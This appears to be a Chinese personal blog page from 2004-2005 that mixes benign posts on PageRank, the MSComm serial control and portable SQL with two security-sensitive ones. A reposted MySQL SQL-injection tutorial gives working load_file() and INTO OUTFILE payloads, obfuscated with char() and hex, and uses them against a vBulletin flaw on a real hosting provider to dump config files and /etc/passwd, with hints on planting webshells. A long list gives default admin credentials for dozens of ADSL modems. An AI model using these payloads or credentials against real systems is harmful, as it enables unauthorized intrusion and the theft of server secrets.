谢氏工作室 - 我的精彩
我的鬼迹~~~~<br> 我的网路生活~~~<br> 我的~~~~~~~~~~~~~<br> Email:mrshelly@hotmail.com



■用户登录
用户名:
密   码:
■站内搜索
 

■最后更新


■最新评论


■存档




■我的链接

Net-Tools







■网站排名情况


■水盟最新发表
共1页 1
   Google 的评语    |   阅读全文   |   评论(0)  |  引用(trackback1)  

一个网站的好坏,热门度,价值高低,从Google 的 PageRank 一定程度上得到反应。一般从 Google 目录服务 上,我们可以找到自己网站的 PageRank 值。在 Google 推出的 Google Toolbar 也可以查看到各个网站的 PageRank 值。:D

Google  PageRank 8/10

网易    PageRank 7/10

谢氏工作室 我的精彩  PageRank 2/10

呵呵。还算不错了。

感谢各位访客的支持。

shelly 发表于  2005-01-14 15:59:35


   MSComm控件使用详解    |   阅读全文   |   评论(0)  |  引用(trackback1)  
MSComm控件使用详解 FROM:http://www.csdn.com.cn/program/241.htm MSComm控件两种处理通讯的方式 CommPort属性 RThreshold 属性 CTSHolding 属性 SThreshold 属性 CDHolding 属性 DSRHolding 属性 Settings 属性 InputLen 属性 EOFEnable 属性 Handshake 常数 OnComm 常数 InputMode 常数 错误消息 MSComm 控件通过串行端口传输和接收数据,为应用程序提供串行通讯功能。MSComm控件在串口编程时非常方便,程序员不必去花时间去了解较为复杂的API函数,而且在VC、VB、Delphi等语言中均可使用。 Microsoft Communications Control(以下简称MSComm)是Microsoft公司提供的简化Windows下串行通信编程的ActiveX控件,它为应用程序提供了通过串行接口收发数据的简便方法。具体的来说,它提供了两种处理通信问题的方法:一是事件驱动(Event-driven)方法,一是查询法。 1.MSComm控件两种处理通讯的方式 MSComm控件提供下列两种处理通讯的方式:事件驱动方式和查询方式。 1.1 事件驱动方式 事件驱动通讯是处理串行端口交互作用的一种非常有效的方法。在许多情况下,在事件发生时需要得到通知,例如,在串口接收缓冲区中有字符,或者 Carrier Detect (CD) 或 Request To Send (RTS) 线上一个字符到达或一个变化发生时。在这些情况下,可以利用 MSComm 控件的 OnComm 事件捕获并处理这些通讯事件。OnComm 事件还可以检查和处理通讯错误。所有通讯事件和通讯错误的列表,参阅 CommEvent 属性。在编程过程中,就可以在OnComm事件处理函数中加入自己的处理代码。这种方法的优点是程序响应及时,可靠性高。每个MSComm 控件对应着一个串行端口。如果应用程序需要访问多个串行端口,必须使用多个 MSComm 控件。 1.2 查询方式 查询方式实质上还是事件驱动,但在有些情况下,这种方式显得更为便捷。在程序的每个关键功能之后,可以通过检查 CommEvent 属性的值来查询事件和错误。如果应用程序较小,并且是自保持的,这种方法可能是更可取的。例如,如果写一个简单的电话拨号程序,则没有必要对每接收一个字符都产生事件,因为唯一等待接收的字符是调制解调器的“确定”响应。 2.MSComm 控件的常用属性 MSComm控件有很多重要的属性,但首先必须熟悉几个属性。 CommPort 设置并返回通讯端口号。 Settings 以字符串的形式设置并返回波特率、奇偶校验、数据位、停止位。 PortOpen 设置并返回通讯端口的状态。也可以打开和关闭端口。 Input 从接收缓冲区返回和删除字符。 Output 向传输缓冲区写一个字符串。 下面分别描述: CommPort属性 设置并返回通讯端口号。 语法 object.CommPort[value ] (value 一整型值,说明端口号。) 说明 在设计时,value 可以设置成从 1 到 16 的任何数(缺省值为 1)。但是如果用 PortOpen 属性打开一个并不存在的端口时,MSComm 控件会产生错误 68(设备无效)。 注意:必须在打开端口之前设置 CommPort 属性。 RThreshold 属性:在 MSComm 控件设置 CommEvent 属性为 comEvReceive 并产生 OnComm 之前,设置并返回的要接收的字符数。 语法 object.Rthreshold [ = value ](value 整型表达式,说明在产生 OnComm 事件之前要接收的字符数。 ) 说明 当接收字符后,若 Rthreshold 属性设置为 0(缺省值)则不产生 OnComm 事件。例如,设置 Rthreshold 为 1,接收缓冲区收到每一个字符都会使 MSComm 控件产生 OnComm 事件。 CTSHolding 属性:确定是否可通过查询 Clear To Send (CTS) 线的状态发送数据。Clear To Send 是调制解调器发送到相联计算机的信号,指示传输可以进行。该属性在设计时无效,在运行时为只读。 语法: object.CTSHolding(Boolean) Mscomm 控件的 CTSHolding 属性设置值: True Clear To Send 线为高电平。 False Clear To Send 线为低电平。 说明:如果 Clear To Send 线为低电平 (CTSHolding = False) 并且超时时,MSComm 控件设置 CommEvent 属性为 comEventCTSTO (Clear To Send Timeout) 并产生 OnComm 事件。 Clear To Send 线用于 RTS/CTS (Request To Send/Clear To Send) 硬件握手。如果需要确定 Clear To Send 线的状态,CTSHolding 属性给出一种手工查询的方法。 详细信息 有关握手协议,请参阅 Handshaking 属性。 SThreshold 属性: MSComm 控件设置 CommEvent 属性为 comEvSend 并产生 OnComm 事件之前,设置并返回传输缓冲区中允许的最小字符数。 语法 object.SThreshold [ = value ] value 整形表达式,代表在 OnComm 事件产生之前在传输缓冲区中的最小字符数。 说明:若设置 Sthreshold 属性为 0(缺省值),数据传输事件不会产生 OnComm 事件。若设置 Sthreshold 属性为 1,当传输缓冲区完全空时,MSComm 控件产生 OnComm 事件。如果在传输缓冲区中的字符数小于 value,CommEvent 属性设置为 comEvSend,并产生 OnComm 事件。comEvSend 事件仅当字符数与 Sthreshold 交叉时被激活一次。例如,如果 Sthreshold 等于 5,仅当在输出队列中字符数从 5 降到 4 时,comEvSend 才发生。如果在输出队列中从没有比 Sthreshold 多的字符,comEvSend 事件将绝不会发生。 Handshake 常数 常数 值 描述 comNone 0 无握手。 comXonXoff 1 XOn/Xoff 握手。 comRTS 2 Request-to-send/clear-to-send 握手。 comRTSXOnXOff 3 Request-to-send 和 clear-to-send 握手皆可。 OnComm 常数 常数 值 描述 comEvSend 1 发送事件。 comEvReceive 2 接收事件。 comEvCTS 3 clear-to-send 线变化。 comEvDSR 4 data-set ready 线变化。 comEvCD 5 carrier detect 线变化。 comEvRing 6 振铃检测。 comEvEOF 7 文件结束。 Error 常数 常数 值 描述 comEventBreak 1001 接收到中断信号 comEventCTSTO 1002 Clear-to-send 超时 comEventDSRTO 1003 Data-set ready 超时 comEventFrame 1004 帧错误 comEventOverrun 1006 端口超速 comEventCDTO 1007 Carrier detect 超时 comEventRxOver 1008 接收缓冲区溢出 comEventRxParity 1009 Parity 错误 comEventTxFull 1010 传输缓冲区满 comEventDCB 1011 检索端口 设备控制块 (DCB) 时的意外错误 InputMode 常数 常数 值 描述 comInputModeText 0 (缺省)通过 Input 属性以文本方式取回数据。 comInputModeBinary 1 通过 Input 属性以二进制方式检取回数据。 CDHolding 属性:通过查询 Carrier Detect (CD) 线的状态确定当前是否有传输。Carrier Detect 是从调制解调器发送到相联计算机的一个信号,指示调制解调器正在联机。该属性在设计时无效,在运行时为只读。 语法 object.CDHolding 设置值:CDHolding 属性的设置值为: 设置 描述 True Carrier Detect 线为高电平 False Carrier Detect 线为低电平 说明:注意当 Carrier Detect 线为高电平 (CDHolding = True) 且超时时,MSComm 控件设置CommEvent 属性为 comEventCDTO(Carrier Detect 超时错误),并产生 OnComm 事件。 注意 在主机应用程序中捕获一个丢失的传输是特别重要的,例如一个公告板,因为呼叫者可以随时挂起(放弃传输)。 Carrier Detect 也被称为 Receive Line Signal Detect (RLSD)。 数据类型 Boolean DSRHolding 属性:确定 Data Set Ready (DSR) 线的状态。Data Set Ready 信号由调制解调器发送到相连计算机,指示作好操作准备。该属性在设计时无效,在运行时为只读。 语法:object.DSRHolding object 所在处表示对象表达式,其值是“应用于”列表中的对象。 DSRHolding 属性返回以下值: 值 描述 True Data Set Ready 线高 False Data Set Ready 线低 说明:当 Data Set Ready 线为高电平 (DSRHolding = True) 且超时时,MSComm 控件设置 CommEvent 属性为 comEventDSRTO(数据准备超时)并产生 OnComm 事件。 当为 Data Terminal Equipment (DTE) 机器写 Data Set Ready/Data Terminal Ready 握手例程时该属性是十分有用的。 数据类型:Boolean Settings 属性: 设置并返回波特率、奇偶校验、数据位、停止位参数。 语法: object.Settings[ = value] 说明:当端口打开时,如果 value 非法,则 MSComm 控件产生错误 380(非法属性值)。 Value 由四个设置值组成,有如下的格式: "BBBB,P,D,S " BBBB 为波特率,P 为奇偶校验,D 为数据位数,S 为停止位数。value 的缺省值是: "9600,N,8,1 " InputLen 属性:设置并返回 Input 属性从接收缓冲区读取的字符数。 语法 object.InputLen [ = value] InputLen 属性语法包括下列部分: value 整型表达式,说明 Input 属性从接收缓冲区中读取的字符数。 说明:InputLen 属性的缺省值是 0。设置 InputLen 为 0 时,使用 Input 将使 MSComm 控件读取接收缓冲区中全部.
shelly 发表于  2005-01-01 02:43:00


   Advanced SQL Injection with MySQL    |   阅读全文   |   评论(1)  |  引用(trackback1)  

FROM:http://www.4ngel.net/article/30.htm

本文作者:angel
文章性质:原创
发布日期:2004-07-14

文/图 安全天使·angel[BST]

前言

  我的《SQL Injection with MySQL》(《黑客防线》7月的专题)已经对MySQL的注入有了比较全面的介绍了,但是有一个危害相当大的函数,我并没有在文中提及,因为如果能灵活应用这个函数,那PHP甚至服务器的安全性均会大打折扣,由于《SQL Injection with MySQL》的发表时间是在暑假期间,考虑到很多新手、学生和品德败坏的人乱用,所以我并没有把这个写在该文里,其实本文在5月初已写完。专题发表后,很多人已经陆续转到PHP+MYSQL注入的研究,很多新技术将会陆续挖掘出来,我们所掌握这方面未公开的高级技巧也会陆续公布出来。至于比较基础的东西,本文就不再提了。

详细

  我们知道,在SQL语句中,可以使用各种MySQL内置的函数,经常使用的就是DATABASE()、USER()、SYSTEM_USER()、SESSION_USER()、CURRENT_USER()这些函数来获取一些系统的信息,还有一个应用得比较多的函数,就是load_file(),该函数的作用是读入文件,并将文件内容作为一个字符串返回。
  看到这里,应该可以想到我们可以做什么了,就是读取一些机密文件,但是也是有条件限制的:

  • 欲读取文件必须在服务器上
  • 必须指定文件完整的路径
  • 必须有权限读取并且文件必须完全可读
  • 欲读取文件必须小于 max_allowed_packet

  如果该文件不存在,或因为上面的任一原因而不能被读出,函数返回空。比较难满足的就是权限,在windows下,如果NTFS设置得当,是不能读取相关的文件的,当遇到只有administrators才能访问的文件,users就别想load_file出来。

  在实际的注入中,我们有两个难点需要解决:

  • 绝对物理路径
  • 构造有效的畸形语句

  在很多PHP程序中,当提交一个错误的Query,如果display_errors = on,程序就会暴露WEB目录的绝对路径,只要知道路径,那么对于一个可以注入的PHP程序来说,整个服务器的安全将受到严重的威胁。构造语句已经是小意思了。

利用

  我们假设一个程序的SQL语句如下:

SELECT * FROM article WHERE articleid=$id

  注:当前条件:magic_quotes_gpc = off,c:/boot.ini可读。

  此时,我们构造$id为:

-1 union select 1,1,1,1,load_file('c:/boot.ini')

  我们的Query就变成:

SELECT * FROM article WHERE articleid=-1 union select 1,1,1,1,load_file('c:/boot.ini')

  程序会把c:/boot.ini内容老老实实显示出来,但是现在magic_quotes_gpc = off的主机少之又少,怎么才能构造出没有引号的语句呢?看过《SQL Injection with MySQL》的朋友肯定知道用char()函数或者把字符转换成16进制,没错,就是它们。

  注:当前条件:magic_quotes_gpc = on,c:/boot.ini可读。

  我们构造$id为:

-1 union select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105))

  “char(99,58,47,98,111,111,116,46,105,110,105)”就是“c:/boot.ini”的ASCII代码,我们的Query就变成:

SELECT * FROM article WHERE articleid=-1 union select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105))

  我们也可以成功的读取boot.ini文件,还有把字符串转换为16进制的,“c:/boot.ini”的16进制是“0x633a2f626f6f742e696e69”,所以上面的语句可以是这样:

SELECT * FROM article WHERE articleid=-1 union select 1,1,1,load_file(0x633a2f626f6f742e696e69)

  比较短了,看各人喜好了,大家可以在phpmyadmin或mysql>下输入以下查询慢慢研究。

SELECT load_file([string])

  当然,在实际应用中,由于种种条件限制,文件的内容未必会显示出来,我们也可以用into outfile把文件导出。大家已经知道如何利用了,我也不说细节了,看一个实例说明一切。

实例

  www.***host.cn是我国著名的FreeBSD主机提供商,我们就拿他来测试,因为它的论坛采用的是calendar.php存在问题的VBB论坛,我就不需要到处去找有漏洞的站点了(虽然到处都是)。这是一次完整的安全测试。仅仅获取信息,我并未进入服务器。

  这里补充说明一点关于VBB的根目录下global.php的一段代码,如下:

// get rid of slashes in get / post / cookie data
function stripslashesarray (&$arr) {
  while (list($key,$val)=each($arr)) {
    if ($key!="templatesused" and $key!="argc" and $key!="argv") {
      if (is_string($val) AND (strtoupper($key)!=$key OR ("".intval($key)=="$key"))) {
        $arr["$key"] = stripslashes($val);
      } else if (is_array($val) AND ($key == 'HTTP_POST_VARS' OR $key == 'HTTP_GET_VARS' OR strtoupper($key)!=$key)) {
        $arr["$key"] = stripslashesarray($val);
      }
    }
  }
  return $arr;
}

if (get_magic_quotes_gpc() and is_array($GLOBALS)) {
  if (isset($attachment)) {
    $GLOBALS['attachment'] = addslashes($GLOBALS['attachment']);
  }
  if (isset($avatarfile)) {
    $GLOBALS['avatarfile'] = addslashes($GLOBALS['avatarfile']);
  }
  $GLOBALS = stripslashesarray($GLOBALS);
}

set_magic_quotes_runtime(0);

  这段代码的作用就是如果magic_quotes_gpc打开,就去掉所有特殊字符的前面的转义字符,所以,不管php.ini里magic_quotes_gpc的状态如何,我们输入的单引号都没有影响的,大家可以放心注入。呵呵。

  我们知道,提交:

/calendar.php?action=edit&eventid=1 UNION SELECT 1,1,1,1,username,password FROM user WHERE userid=1

  是可以获取用户名和密码MD5散列的,但是由于特殊原因,并没有显示出来,但凭我的经验,知道并没有构造错,所以我们可以读取并导出成文件。
  因为事先我无意中访问到了含有phpinfo()的文件,所以知道了WEB的绝对路径,从访问站点的结果,发现一个下载系统是生成HTML文件的,如果那个目录没有可写权限,是不能生成HTML文件的,不过这一切都不是本文的重点,我们现在掌握如下信息:

  • WEB绝对路径:/home/4ngel
  • 可写目录路径:/home/4ngel/soft/
  • magic_quotes_gpc = on

  和主机root相比,论坛的admin根本就不算什么,我对论坛admin也不感兴趣,我们要读取论坛的配置文件还有/etc/passwd,知道MySQL的连接信息,可以从这里入手,写webshell或其他的东西,知道/etc/passwd我们可以跑密码。直接从ssh上去。

  VBB论坛的配置文件在/home/4ngel/forum/admin/config.php,转换成ASCII代码,提交:

calendar.php?action=edit&eventid=1 UNION SELECT 1,1,1,1,1,load_file(char(47,104,111,109,101,47,52,110,103,101,108,47,102,111,114,117,109,47,97,100,109,105,110,47,99,111,110,102,105,103,46,112,104,112)) FROM user WHERE userid=1 into outfile '/home/4ngel/soft/cfg.txt'

  呵呵,记得加一个where来定一个条件,否则如果论坛用户很多,那么导出的文件会相当大。或者干脆指定$eventid为一个不存在的值,就不用where了,就像这样:

calendar.php?action=edit&eventid=-1 UNION SELECT 1,1,1,1,1,load_file(char(47,104,111,109,101,47,52,110,103,101,108,47,102,111,114,117,109,47,97,100,109,105,110,47,99,111,110,102,105,103,46,112,104,112)) FROM user into outfile '/home/4ngel/soft/cfg.txt'

  /etc/passwd转换成ASCII代码,提交:

calendar.php?action=edit&eventid=-1 UNION SELECT 1,1,1,1,1, load_file (char(47,101,116,99,47,112,97,115,115,119,100)) FROM user into outfile '/home/4ngel/soft/etcpwd.txt'

  注意看到论坛的顶部,会出现下面的错误提示:

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/4ngel/forum/admin/db_mysql.php on line 154

  经验告诉我们,文件导出成功了,提交:

http://www.xxxhost.cn/soft/cfg.txt
http://www.xxxhost.cn/soft/etcpwd.txt

  内容哗啦啦的出来了,而黑夜和猪蛋的他们入侵灰色的时候,一个个显示密码,欺骗,登陆后台,上传后门,读取config.php,一连串的步骤,我一个load_file()就搞定了。是不是危害很大?如图:

  我记得在某个群里讨论到大家都是通过搞9****.net这个站,而进入黑白服务器的,没有办法对黑白横冲直闯,只得来曲线的。用load_file()函数,知道了某些信息就可以进入黑白所在的服务器,过程和上面的一样,利用show.php的漏洞,直接load_file出程序的配置文件,知道了mysql的信息,远程连接,写数据库导出文件,很容易获得服务器admin。

后记

  由于危害太大,我一直都不太敢发布,相信国内也有人知道的。只是不公开而已。经过再三考虑还是决定发布了,希望大家掌握了以后,不要对国内的站点做任何具有破坏性的操作。谢谢合作!

打印这篇文章】【关闭该窗口
shelly 发表于  2004-10-25 06:02:11


   数据库的跨平台设计    |   阅读全文   |   评论(1)  |  引用(trackback1)  

数据库的跨平台设计 

作者: BUILDER.COM
来源:ZDNet
2002/5/8


开发者们应该知道,使用那些非标准的SQL命令(比如Oracle、微软和MySQL等数据库系统)存在程度相当高的危险。也就是说,从跨平台和遵守标准的角度出发,你应该尽量采用ANSI SQL,它是一种和平台无关的数据库语言。不管你在使用哪种数据库系统,如果它完全支持SQL那么它就应该支持ANSI SQL-92标准。可是,“应该支持”和“确实支持”完全是两码事。在进行DBMS跨平台编程的时候,并不是所有的系统都完全支持ANSI SQL标准。这篇文章主旨就是提出使用非标准SQL时所存在的风险及其相关的建议。


别使用存储过程

在某些编程环境下,出于效率和安全等方面的原因,存储过程成为程序员开发数据库应用程序的唯一方法。Visual Basic、C和Java程序员都并不需要了解SQL。然而,在其他某些编程环境下,存储过程又是完全禁用的。MySQL通常和Apache Web服务器组合使用,这是因为这两种软件不仅免费、可靠而且功能强大,但是,恰恰是MySQL不支持存储过程。


--------------------------------------------------------------------------------

存储过程的定义 
所谓存储过程就是组成一个逻辑单元而且执行特别任务的一组SQL语句。存储过程用来封装针对数据库服务器的一整套操作或查询。

--------------------------------------------------------------------------------

Oracle和SQL服务器两者都包括了“内建”的存储过程,其使用也是很方便的。可是,如果明智的话千万别指望它们,你无法保证数据库管理员是否锁定、删除或修改了这些存储过程。如果你发现可用的某些存储过程正是你需要的,你这才可以在自己的代码中使用它们的功能。

通常,你能在Oracle或SQL Server上使用存储过程但在MySQL上则无法利用。如果你确实用到了它们,那么你得保证自己没有用到同特定平台相关的命令(以后讨论)。

别使用连接
连接是Oracle和SQL Server 这两种DBMS上令人头痛的一个问题,因为这两种系统在连接的概念上有根本的不同。基本上,各个DBMS的连接工作原理不总是一样的,而且你最终可能会得到意外的结果集合。在我们谈论各个系统有关连接的概念差别以及如何解决这些问题之前,你应该理解基本的连接子句:

连接
Join(连接)是从多个数据源获取数据的SQL数据表创建命令。 
等连接
Equi-Join从两个独立的数据源获取数据并把它们组合成一个大表。 
内/外连接
内连接(Inner Join)把两个表的内部列连接起来。外连接把两个表的外部列连接起来。 
左/右连接
左连接(Left Join)连接两个表左边的列。右连接则连接两个表右边的列。 
复合/复杂连接
其他各种连接—左/内、左/外、右/内和右/外等。 
反正你得记清楚了,如果你想要自己的应用程序能在各种数据库服务器上都能工作那么就别使用连接。

ANSI SQL:CREATE, DROP, ADD, UPDATE, DELETE, INSERT, SELECT
总之,你应当用到的唯一命令如下: 

数据定义语言(DDL)下的CREATE 和DROP。 
数据操作语言(DML)下的ADD、UPDATE、DELETE和INSERT 。 
获取数据的SELECT。 
如果你在这些命令中使用了区分大小写的表格或字段名,或者这些名字包含了空格或其它特殊字符,那么你最好用方括号把名字围起来。这样做有助于防止非标准字符引发DBMS的不正常反应。



引用的完整性:键和数据类型

使用关系数据库的决定性原因就是明确数据之间的关系而且维持那些关系的完整性。这样才能让开发者以最小的冗余性、最高效的方式存储数据。键定义了关系。数据类型定义了存储和操作数据的规则。这些就是一个数据库的基本方面,但是具体的语法却可能因为数据库的不同而不同。

数据类型
只有很少部分的数据类型得到所有数据库服务器的支持。每一种DBMS都有它自己的数据类型以及为什么要这样使用它们的原因。某些专有数据类型(比如Microsoft Access的AUTONUMBER)用起来确实相当方便。

以下是ANSI数据类型:
BIT, CHARACTER, DATE, DECIMAL, DOUBLE PRECISION, FLOAT, INTEGER, INTERVAL, NUMERIC, REAL, SMALLINT, TIMESTAMP, TIME, VARBIT, VARCHAR, CHAR

以下是Oracle/Access/SQL不支持的“标准”数据类型:
INTERVAL, TIME, VARBIT

只有Oracle才支持DATE,但是以下的“标准”数据类型不被Oracle支持:
BIT, DECIMAL, NUMERIC, TIMESTAMP

以下的“标准”数据类型不被Access支持:
BIT, CHARACTER, DATE, NUMERIC, SMALLINT, TIMESTAMP

这样,只有以下的数据类型可以保证在各类数据库上都能使用:
DOUBLE PRECISION, FLOAT, INTEGER, NUMERIC, REAL, SMALLINT, VARCHAR, CHAR



主/外键

假设某个表内有两个字段,创建这个表的语法如下: 
CREATE TABLE [MyTable] ([FieldA] VARCHAR, [FieldB] VARCHAR);

为了添加主键以便表内的每一条记录都唯一标识你可以采用PRIMARY KEY 表达式:
CREATE TABLE [MyTableA] ([RecordID] VARCHAR PRIMARY KEY, [FieldA] VARCHAR, [FieldB] VARCHAR);

在创建另一个表,其中一个字段索引第1个表,你可以把该字段定义为同第1个表的字段具有关系的外键:

CREATE TABLE [MyTableB] ([RecordID] VARCHAR PRIMARY KEY, [FieldA] VARCHAR, [FieldB] VARCHAR, [FieldC] VARCHAR REFERENCES [MyTableA]([FieldA]))

在以上例子中,所有的字段都是VARCHAR类型;但是你得记住,某一数据类型字段只能索引同一数据类型的字段。


ODBC 和 JDBC
如果你在编写的应用程序要用到SQL数据库连接,那么你可以用ODBC完成该功能。如果它是一个Java应用程序则可以用JDBC(简而言之就是ODBC的Java接口)。

因为你希望自己的应用程序最好不要引起管理员的注意,所以你应该为你用户的DBMS包括所有必要的ODBC驱动程序。这样,如果用户从一个平台转移到另一个平台,它们所需要的驱动程序却已经事先拥有了。

你的应用程序应该通过编程的方式决定当前用到的ODBC驱动程序对应何种DBMS。这样你才能用上那些数据库服务器上强大的、同特定平台相关的命令。

另类浏览器之战 
最流行的浏览器当然是微软的Internet Explorer和Netscape的Navigator了。但是,不管你手头用的是哪一种,它能保证支持现有的所有网站吗?错!很多花哨的东西,比如DHTML、框架以及多媒体等等都各自受到两类浏览器中非标准的HTML标签的支持。

因为程序在这两种国际标准的岔路口无所适从,所以你必须为两种浏览器编写代码或者编写最具普遍性的功能代码而放弃大量的动态内容。

数据库服务器也面临同样的问题。ANSI SQL-92是人人赞同的标准。然而,Oracle、微软以及其他数据库厂商还自作主张加入了很多破坏SQL代码的特性。因此,你不仅得编写遵从基本规范(SQL-92)的代码,而且的代码还得根据具体用到的产品实现不同的特性。

在你自己的应用程序内,你必须正确地决定应用程序将使用什么类型的数据库,而且数据库应该定位在哪里。你还得老练地处理应用程序或用户产生的任何错误。你当然不希望仅仅因为文件被删除或者网线连接松弛就导致程序崩溃(或服务器崩溃)。在经过精心设计的网络上,数据库服务器通常同工作站和Web服务器、应用服务器在物理上相分离,因此断开连接是很常见的。

小结 
作为Web开发者,你需要对应用程序使用非标准SQL命令的危险保持高度的小心。这篇文章的中心思想是建议用ANSI SQL编写跨平台的应用程序。利用ANSI SQL减少商业数据库系统的非标准方言所带来的头疼问题。

http://www.sawin.com.cn/doc/SD/Database/spandb.htm

shelly 发表于  2004-10-16 07:34:21


   部分ADSL猫的默认密码    |   阅读全文   |   评论(1)  |  引用(trackback0)  

艾玛 701g
192.168.101.1  192.168.0.1
用户名:admin   密码:admin
用户名:SZIM    密码:SZIM

艾玛701H
192.168.1.1   10.0.0.2
用户名:admin 密码:epicrouter

实达2110EH ROUTER
192.168.10.1
用户名:user    密码:password
用户名:root    密码:grouter

神州数码/华硕:
用户名:adsl 密码:adsl1234

全向:
用户名:root 密码:root

普天:
用户名:admin 密码:dare

e-tek
用户名:admin 密码:12345

zyxel
用户名:anonymous   密码:1234

北电
用户名:anonymous   密码:12345

大恒
用户名:admin     密码:admin

大唐
用户名:admin       密码:1234

斯威特
用户名:root      密码:root
用户名:user       密码:user
中兴

用户名:adsl     密码:adsl831 (中兴的adsl的密码前面为adsl,后面为型号,比如中兴831,密码就是adsl831)

1、全向QL1680 IP地址10.0.0.2,用户名:admin,密码:qxcomm1680,管理员密码:qxcommsupport。全向
QL1880 IP地址192.168.1.1,用户名:root,密码:root 全向QL1688 IP地址10.0.0.2,用户名为admin;密码为qxcomm1688
2、TP-LINK TD-8800在IE输入192.168.1.1,户名admin,密码admin
3、合勤zyxel 642 在运行输入telnet 192.168.1.1 密码1234
4、Ecom ED-802EG 在IE输入192.168.1.1,用户名和密码都为root
5、神州数码6010RA,在IE输入192.168.1.1 用户名为ADSL,密码为ADSL1234
6、华为SmartAX MT800的初始IP是192.168.1.1,用户名和密码都为ADMIN,恢复默认配置的方法有两种,一种是连续按MODEM背后的RESET键三次,另一种是在配置菜单的SAVE&REBOOT里选择恢复默认配置。
7、伊泰克:IP:192.168.1.1 用户名:supervisor 密码:12345
8、华硕IP:192.168.1.1 用户名:adsl 密码:adsl1234
9、阿尔卡特 192.168.1.1 一般没有密码
10、同维DSL699E 192.168.1.1 用户名:ROOT 密码:ROOT
11、大亚DB102 192.168.1.1 用户名:admin 密码:dare 高级设置://192.168.1.1/doc/index1.htm
12、WST的RT1080 192.168.0.1 username:root password:root
13、WST的ART18CX 10.0.0.2 username:admin password:conexant username:user password:password
14、实达V3.2 root root V5.4 root grouter
15、泛德 admin conexant
16、东信Ea700 192.168.1.1用户名:空 密码:password
17、broadmax的hsa300a 192.168.0.1 username:broadmax password:broadmax
18、长虹ch-500E 192.168.1.1 username:root password:root
19、重庆普天CP ADSL03 192.168.1.1 username:root password:root
20、台湾突破EA110 RS232:38400 192.168.7.1 username:DSL psw:DSL
21、etek-td的ADSL_T07L006.0 192.168.1.1 User Name: supervisor
Password: 12345 忘记密码的解决办法: 使用超级终端的Xmodem方式重写Vxworks.dlf,密码恢复成:12345 22、GVC的DSL-802E/R3A 10.0.0.2 username:admin password:epicrouter username:user password:password
23、科迈易通km300A-1 192.168.1.1 username: password:password 科迈易通km300A-G 192.168.1.1 username:root password:root 科迈易通km300A-A 192.168.1.1 username:root or admin password:123456
24、sunrise的SR-DSL-AE 192.168.1.1 username:admin password:0000 sunrise的DSL-802E_R3A 10.0.0.2 username:admin password:epicrouter username:user password:password

25、UTStar的ut-300R 192.168.1.1 username:root or admin password:utstar 这些都是一些ADSL设奋的出厂时的默认初始IP,用户名和密码,是要调试这些设奋时必须要知道的东西。 一般调试这些设奋有三种方法,一种是最常见的WEB方法,就是在浏览器中填入设奋的IP,如QX1680,就是在浏览器地址栏输入10.0.0.2,出现提示栏后,输入用户名admin,密码qxcommsupport,就可以管理员设置界面了。最常见和最简单的就是这种方法。 第二种方法就是用TELNET的方法,telnet IP,如早期的合勤642,方法telnet 192.168.1.1,然后输入密码1234,就可以进入全英文的字符界面了。 第三种方法就是用厂商自带的配置程序来进入配置界面,如CyberLink 6307/6309KG 它使用在随Cybrlink 6307/6309KG带的光盘中DSLCom.exe, 出厂时默认值:路由IP地址 :1 92.168.1.1密码 : stm,由于这种方法没有前两种方法方便,所以现在的低端产品比较少采用了。 绝大部分产品的调试都是要先通过产品自带的双绞线连接设奋后,把本机网卡的IP设置成跟该设奋同一网段,再进行配置,如设奋被改了默认的IP或者密码,大部分都可以通过复位来恢复出厂默认值。最常用也是最有用的方法就是把设奋断电后,一直按住复位键,然后通电,持续一小段时间后就可以恢中达通CT-500 192.168.1.1 root/12345
26.中兴adsl841默认IP:192.168.1.1,UserName:admin,Password:private

成都天逸           用户名:admin          密码:epicrouter

上海中达    用户名:(随意)       密码:12345

各位用ADSL的朋友,在拿到ADSL猫后,应及时修改默认密码,以免被人所利用


****************************************************************************
ADSL MODEM初始地址及用户名密码大全
要调试这些设奋,要先把网卡的IP地址设置成跟这些ADSL设奋相同的网段
1、全向QL1680在IE浏览器的地址栏里面敲入IP地址10.0.0.2,的用户名是admin出厂时默认值:密码是qxcomm1680,管理员密码是 qxcommsupport
2、全向QL1880在IE浏览器的地址栏里面敲入IP地址192.168.1.1,的用户名是root出厂时默认值:密码是root
3、全向QL1688在IE浏览器的地址栏里面敲入IP地址10.0.0.2,用户名为admin;出厂时默认值:密码为qxcomm1688
4、CyberLink 6307/6309KG 它使用在随Cyberlink6307/6309KG带的光盘中DSLCom.exe, 出厂时默认值:路由IP地址 : 192.168.1.1密码 : stm
5、TP-LINK TD-8800在IE输入192.168.1.1,户名admin,密码admin.
6、合勤zyxel 642 在运行输入telnet 192.168.1.1 密码1234,一直按住机身后面的的RESET复位键然后开机,保持几十秒就可以恢复出厂默认 值。
7、Ecom ED-802EG 在IE输入192.168.1.1,用户名和密码都为root
8、神州数码6010RA,在IE输入192.168.1.1 用户名为ADSL,密码为ADSL1234
9、华为SmartAX MT800的初始IP是192.168.1.1,用户名和密码都为ADMIN,恢复默认配置的方法有两种,一种是连续按MODEM背后的RESET键三 次,另一种是在配置菜单的SAVE&REBOOT里选择恢复默认配置。

伊泰克
http://192.168.1.1/
用户名:supervisor
密码:12345

华硕
http://192.168.1.1/
用户名:adsl
密码:adsl1234

阿尔卡特
http://192.168.1.1/
一般没有密码

同维DSL699E
http://192.168.1.1/
用户名:ROOT
密码:ROOT

大亚DB102
http://192.168.1.1/
用户名:admin
密码:dare
高级设置界面:http://192.168.1.1/doc/index1.htm
WST的RT1080
http://192.168.0.1/
username:root
password:root

WST的ART18CX
http://10.0.0.2/
username:admin
password:conexant
username:user
password :assword

全向qxcomm1688
http://192.168.1.1/
高端设置密码是:qxcommsuport

全向qxcomm1680
http://192.168.1.1/
登陆ADSL的密码是:qxcomm1680

实达
V3.2 root
root
V5.4 root
grouter

泛德
admin
conexant

东信Ea700
http://192.168.1.1/
用户名:空
密码:password

broadmax的hsa300a
http://192.168.0.1/
username:broadmax
password:broadmax

长虹ch-500E
http://192.168.1.1/
username:root
password:root

重庆普天CP ADSL03
http://192.168.1.1/
username:root
password:root

台湾突破EA110
RS232:38400
http://192.168.7.1/
username SL
psw SL

etek-td的ADSL_T07L006.0
http://192.168.1.1/
User Name: supervisor
Password: 12345
忘记密码的解决办法:
使用超级终端的Xmodem方式重写Vxworks.dlf,密码恢复成:12345

GVC的DSL-802E/R3A
http://10.0.0.2/
username:admin
password:epicrouter
username:user
password assword

科迈易通km300A-1
http://192.168.1.1/
